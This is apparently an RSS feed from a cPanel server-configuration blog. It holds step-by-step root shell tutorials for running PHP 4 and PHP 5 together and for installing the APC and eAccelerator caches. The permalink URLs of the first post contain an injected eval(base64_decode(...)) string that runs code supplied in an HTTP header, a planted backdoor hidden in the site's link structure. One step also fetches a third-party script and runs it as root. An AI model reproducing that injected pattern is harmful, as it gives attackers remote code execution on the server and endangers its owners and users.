cPanelConfig - cPanel server configuration guide » php http://www.cpanelconfig.com The complete guide to setup and manage a cPanel based server Fri, 17 Jul 2009 11:15:39 +0000 http://wordpress.org/?v=2.8 en hourly 1 Running PHP 5 and PHP 4 on the same cpanel server http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 14 Oct 2007 19:54:13 +0000 yolau http://www.cpanelconfig.com/cpanel-administration/running-php-5-and-php-4-on-the-same-cpanel-server/ This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.
Although I personally don’t recommend this as it has many performance implications it’s something that small webhosts use so that they don’t have to have different servers for different php versions.

O k, let’s get started. Before I explain how to install it please note that part of this article is inspired by a post on Defender Hosting Forum (http://forums.defenderhosting.com/showthread.php?t=2103)

  1. Compiler check

    2. /scripts/checkccompiler
    rm -rf /home/cpphpbuild
    mkdir /home/cpphpbuild
    cd /home/cpphpbuild

  2. Download and extract php

    3. wget http://us2.php.net/get/php-5.2.4.tar.gz/from/this/mirror
    tar zfx php-5.2.4.tar.gz
    cd php-5.2.4

  3. Configure and build the php installation (credits go to elix for an excellent work)

    4. echo “#define HAVE_SENDMAIL 1″ >> /home/cpphpbuild/php-5.2.4/main/php_config.h
    wget http://www.elix.us/tutorials/php5.gen.cpanel
    chmod 700 php5.gen.cpanel
    ./php5.gen.cpanel
    make
    make install

  4. Moving the files and finishing the configuration

    5. cp -f /usr/local/php5/bin/php5 /usr/local/cpanel/cgi-sys/php5
    chown root:wheel /usr/local/cpanel/cgi-sys/php5

    cp -p /home/cpphpbuild/php-5.2.4/php.ini-recommended /usr/local/php5/lib/php.ini
    chown root.root /usr/local/php5/lib/php.ini
    chmod 644 /usr/local/php5/lib/php.ini

    echo “cgi.fix_pathinfo = 1 ; needed for CGI/FastCGI mode” >> /usr/local/php5/lib/php.ini

  5. Now we have to add a few lines to the httpd.conf file

    6. pico /usr/local/apache/conf/httpd.conf

    Add in the section – “index.php5″ before index.php4
    Add after “AddType application/x-httpd-php .phtml”

    Action application/x-httpd-php5 “/cgi-sys/php5″
    AddHandler application/x-httpd-php5 .php5

  6. Test the installation

    7. service httpd configtest

    If you get any errors please check that you done all the steps properly.
    If everything is ok you can now restart apache

  7. Restart apache

    8. service httpd restart

Now any files with the extension .php5 will be parsed by php 5 and all the other files will be parsed by your “normal” php 4 installation.

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What is APC?
APC is a free, open, and robust framework for caching and optimizing PHP intermediate code.
Install instructions

  1. Login to the server as root
  2. Download APC

    3. wget http://pecl.php.net/get/APC-3.0.14.tgz

  3. Extract and move into the directory

    4. gzip -d APC-3.0.14.tgz
    tar -xf APC-3.0.14.tar
    cd APC-3.0.14

  4. Locate where php is

    5. which php

    This should return something like: /usr/local/bin/php
    We have to remember the location of php

  5. Create configuration files

    6. phpize

  6. Compile APC

    7. ./configure –enable-apc –enable-apc-mmap –with-apxs –with-php-config=/usr/local/bin/php-config
    make
    make install

    The “make install” commnand will return the location of the apc.so extention please note the location. You will need this later.

  7. Install APC into php.ini

    8. You will have to first locate php using the locate command

    locate php

    This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.
    Now we will edit php.ini and add the APC extension.

    pico /usr/local/Zend/etc/php.ini

    Scroll down to the buttom and add the fallowing before the lines about the zend optimizer (They start with [Zend])

    extension=”/apc_location/apc.so”

  8. Restart Apache

    9. If you done everything it’s time to restart Apache

    service httpd restart

Hope this helps !

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What is Eaccelerator?
eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the speed of your PHP code by 1-10 times.

Install instructions

  1. Login as root
  2. Download Eaccelerator

    3. wget http://bart.eaccelerator.net/source/0.9.5.2/eaccelerator-0.9.5.2.zip

  3. Extract and move into the directory

    4. unzip eaccelerator-0.9.5.2.zip
    cd eaccelerator-0.9.5.2

  4. Locate where php is

    5. which php

    This should return something like: /usr/local/bin/php
    We have to remember the location of php

  5. Create configuration files

    6. phpize

  6. Compile Eaccelerator

    7. ./configure –enable-eaccelerator=shared –with-php-config=/usr/local/bin/php-config
    make
    make install

    The “make install” commnand will return the location of the eaccelerator.so extention please note the location. You will need this later.

  7. Install Eaccelerator into php.ini

    8. This can be done as a Zend extension or as a PHP extention.
    I personally recommend installing it as a Zend extension.
    You will have to first locate php using the locate command

    locate php

    This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.
    Now we will edit php.ini and add the Eaccelerator extension.

    pico /usr/local/Zend/etc/php.ini

    Scroll down to the buttom and add the fallowing before the lines about the zend optimizer (They start with [Zend])

    zend_extension=”/eaccelerator_location/eaccelerator.so”
    eaccelerator.shm_size=”16″
    eaccelerator.cache_dir=”/tmp/eaccelerator”
    eaccelerator.enable=”1″
    eaccelerator.optimizer=”1″
    eaccelerator.check_mtime=”1″
    eaccelerator.debug=”0″
    eaccelerator.filter=”"
    eaccelerator.shm_max=”0″
    eaccelerator.shm_ttl=”0″
    eaccelerator.shm_prune_period=”0″
    eaccelerator.shm_only=”0″
    eaccelerator.compress=”1″
    eaccelerator.compress_level=”9″

  8. Restart Apache

    9. If you done everything it’s time to restart Apache

    service httpd restart

  9. Test to see if everything is ok

    10. php -v

    If you see something like you are all done.

    with eAccelerator v0.9.5.1, Copyright (c) 2004-2006 eAccelerator, by eAccelerator

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